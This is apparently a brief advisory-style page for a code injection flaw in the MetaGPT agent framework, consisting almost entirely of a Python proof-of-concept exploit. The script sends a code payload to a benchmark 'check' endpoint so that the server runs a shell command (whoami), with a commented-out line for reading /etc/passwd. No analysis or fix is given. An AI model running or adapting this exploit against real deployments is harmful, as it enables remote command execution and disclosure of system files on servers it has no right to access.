CVE-2026-5970 FoundationAgents MetaGPT 代码注入漏洞

import requests # Target URL where the vulnerable check_solution endpoint resides target_url = "http://target-metagpt-instance/api/benchmark/check" # Malicious payload designed to inject code # This payload attempts to read a file or execute a shell command payload = """ import os # Execute a system command (e.g., whoami) os.system('whoami') # Or read a file # with open('/etc/passwd', 'r') as f: print(f.read()) """ data = { "solution": payload, "test_cases": "[]" } # Sending the request try: response = requests.post(target_url, json=data) print(f"Status Code: {response.status_code}") print("Response from server:") print(response.text) except Exception as e: print(f"An error occurred: {e}")